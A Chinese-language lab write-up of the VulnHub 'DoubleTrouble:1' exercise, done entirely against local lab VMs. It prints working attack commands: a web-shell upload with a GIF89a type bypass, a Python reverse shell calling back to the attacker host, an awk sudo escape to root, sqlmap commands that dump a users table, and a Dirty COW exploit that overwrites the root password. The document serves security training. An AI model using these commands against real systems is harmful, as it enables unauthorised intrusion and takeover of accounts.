【渗透测试】第九周 vulnhub-DoubleTrouble:1
网络攻防实战 第九次实验
靶机链接:https://www.vulnhub.com/entry/doubletrouble-1,743/
2022年11月15日
一、实验目的
本次的靶机比较特别,在获取第一个靶机的 root 权限后会在 root 主目录下发下另一个靶机的 .ova
文件,我们还需要将其下载到宿主机,继续尝试渗透。最终取得两个靶机的 root 权限以及第二个靶机上的两个 flag。
我们将使用到以下攻击手段:
- 主机发现;
- 端口扫描;
- 隐藏路径爆破;
- 隐写数据破解;
- 文件上传漏洞;
- 一句话木马脚本;
- 反弹 shell;
- awk 提权;
- sql基于时间的盲注(使用sqlmap);
- 脏牛漏洞提权。
二、实验内容
kali: 10.0.2.15
靶机: 10.0.2.14、10.0.2.16
0x00. 准备工作
获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:
1
2sudo arp-scan -I eth0 -l
sudo nmap -p- 10.0.2.14 -A访问80端口发现是一个登录界面,查看源码也并没有直接可利用的信息:
尝试直接输入单引号触发报错寻找注入点,也没有结果。
(使用 BurpSuite 拦截请求,发现我们输入的单引号在发送前被进行了转义,但重新修改为单引号后发送,同样没有收到报错信息)
0x01. 隐藏路径爆破
首先想到查找隐藏路径:
1
dirsearch -u http://10.0.2.14
找到了隐藏路径
/secret/
,根据此前实验的经验,我们第一时间查看其内容。访问上述目录,发现只包含一张图片:
既然其处于
/secret/
目录下,猜测其中包含隐写入的信息。将其保存至 kali,使用
stegseek
工具进行破解:安装:$ sudo apt install stegseek
1
stegseek doubletrouble.jpg rockyou.txt
- 其中
rockyou.txt
字典可以通过locate
命令在 kali 上找到。
生成了输出文件
doubletrouble.jpg.out
,查看破解结果,发现疑似此前网站主页的登录邮箱和密码。1
2otisrush@localhost.com
otis666- 其中
尝试登录,成功跳转至下级界面:
0x02. 文件上传漏洞
浏览各个界面,优先关注文件上传点:
首先发现可以通过网页右上角进入用户的
My Details
界面,其中可以进行用户的头像的上传,但是先尝试上传一个普通图片后,发现该功能存在 bug,上传失败。返回主页后在左侧菜单栏访问目录
Tools->Import Tasks from XLS file
,发现第二个文件上传点,但是上传之后,同样触发错误:最终在左侧菜单栏
Configuration->General->General
界面发现有效的文件上传点。
浏览
Configuration->General->General
界面,发现可以进行文件上传,推测可能是用于设置该网站应用的 logo:选择任意图片尝试上传后,发现当前页面左上角发生变化,变为了我们刚才选择的图片:
说明此处的文件上传功能确实有效可用。
尝试直接上传我们祖传的一句话木马文件,发现上传失败,推测需要进行文件类型检测的绕过。
在此尝试上传,并使用
BurpSuite
截获我们的请求,修改我们所上传文件的信息:使用此前实验中用过的方法,在文件内容开头加入
GIF89a
进行文件内容欺诈。发现左上角的内容发生变化,变为一张显示错误的图片。右键选择新建标签页打开图片,获取图片对应文件的 url:
显然我们的一句话木马文件上传成功,测试一下:
到此为止,我们就可以和之前一样,通过一句话木马执行反弹 shell 脚本:
1
2http://10.0.2.14/uploads/script.php?cmd=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'成功获取反弹 shell,使用以下指令进行提升:
1
python -c "import pty;pty.spawn('/bin/bash')"
0x03. 利用 awk 提权
查看当前用户不使用密码就可以通过 sudo 执行的命令:
1
sudo -l
发现可以不使用密码通过
sudo
执行awk
命令。前往提权指令汇总网站 GTFOBins 查找
awk
命令:选择
Shell
查看 Shell 提权的命令:1
sudo awk 'BEGIN {system("/bin/sh")}'
在反弹 shell 中输入上述指令,完成提权。
切换至靶机的 root 用户主目录,发现还存在一个靶机的
.ova
文件:使用 nc 命令将其下载到 kali,再通过 virtualBox 的文件传输功能将其传送至宿主机。
1
2nc -n 10.0.2.15 1234 < doubletrouble.ova # 靶机
nc -lp 1234 > doubletrouble.ova # kali- 或在靶机上开启 web 应用,然后在上对目标文件进行下载【本次使用】
0x04. SQL 盲注
对该靶机进行同样的主机发现以及端口扫描等常规操作之后,发现开放了 80 端口,浏览器访问,发现又是一个登录界面:
常规的 SQL 注入探测未发现注入点,考虑 SQL 盲注。
截获我们在该界面进行登录时的请求:
修改如下:
根据 SQL 语法,我们可以判定,如果该报文的响应在发送十秒之后到来。则说明此处存在注入点。考虑通过
sqlmap
实现盲注的自动化,并导出靶机数据库。将该请求数据包的内容拷贝至本地的文件
sqlinject
中:使用
sqlmap
从该文件中加载请求,并进行探测:1
sqlmap -r sqlinject -p uname,psw # 指定测试参数为uname, psw
sqlmap
会自动尝试各种注入方式,根据输入结果可知sqlmap
成功通过基于时间的盲注获取靶机数据库的信息:查看当前用户可见的数据库:
1
sqlmap -r sqlinject -p uname,psw --dbs
- 由于是基于时间的盲注,观察结果的输出过程可以发现,每隔一段时间确认一个字符。
查看数据库
doubletrouble
中的表:1
sqlmap -r sqlinject -p uname,psw -D doubletrouble --tables
查看表
users
的列:1
sqlmap -r sqlinject -p uname,psw -D doubletrouble -T users --columns
查看表中
username
与password
两项的内容:1
sqlmap -r sqlinject -p uname,psw -D doubletrouble -T users -C username,password --dump
发现存在两个用户。
将其输入之前的登录界面,发现两个用户都无法登录。想到靶机开放了22端口,尝试使用上述两个用户的信息通过 SSH 登入靶机。发现用户
clapton
登入成功:
0x05. “脏牛”漏洞提权
脏牛漏洞:又叫Dirty COW(copy-on-write),存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
发现当前目录有存在文件
user.txt
,查看内容,获取第一个 Flag:- Flag1: 6CEA7A737C7C651F6DA7669109B5FB52
查看内核版本
uname -a
:发现该版本存在脏牛漏洞。
搜索其利用代码:
在 kali 创建
dcow.cpp
写入漏洞利用代码,并通过 web 服务将其上传至靶机:1
2sudo python3 -m http.server 80 # kali
wget http://10.0.2.15/dcow.cpp # 靶机查看仓库中的
makefile
文件,发现编译指令:1
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
在靶机上编译运行,发现该程序将靶机上 root 用户的密码强制更改为了
dirtyCowFun
:使用
su root
,输入该密码切换至 root 身份:切换至 root 用户的主目录,查看其目录下的文件,发现第二个 Flag:
- Flag2: 1B8EEA89EA92CECB931E3CC25AA8DE21
三、实验结果
root:
Flag1: 6CEA7A737C7C651F6DA7669109B5FB52
Flag2: 1B8EEA89EA92CECB931E3CC25AA8DE21
四、总结
- 访问 80 端口发现一个登录界面。爆破隐藏路径,发现
/secret/
路径。在其目录下发现一个图片,使用stegseek
破解其中数据,猜测是用于登录主页的邮箱和密码,使用其进行登录,发现登录成功。 - 浏览各个界面寻找文件上传点,上传一句话木马文件,通过该文件注入反弹 shell 脚本生成反弹 shell。
- 使用
awk
提权,发现另一个靶机的.ova
文件,下载至 kali 后移动到宿主机,导入Virual Box
后启动。 - 浏览器访问 80 端口,发现登录界面。通过
sqlmap
进行sql
注入,获取用户名和密码,通过 SSH 登入。 - 查看靶机内核,发现存在脏牛漏洞,搜索利用代码,上传至靶机编译运行,发现强制修改了 root 用户的密码,使用该密码即可至 root 身份,提权成功。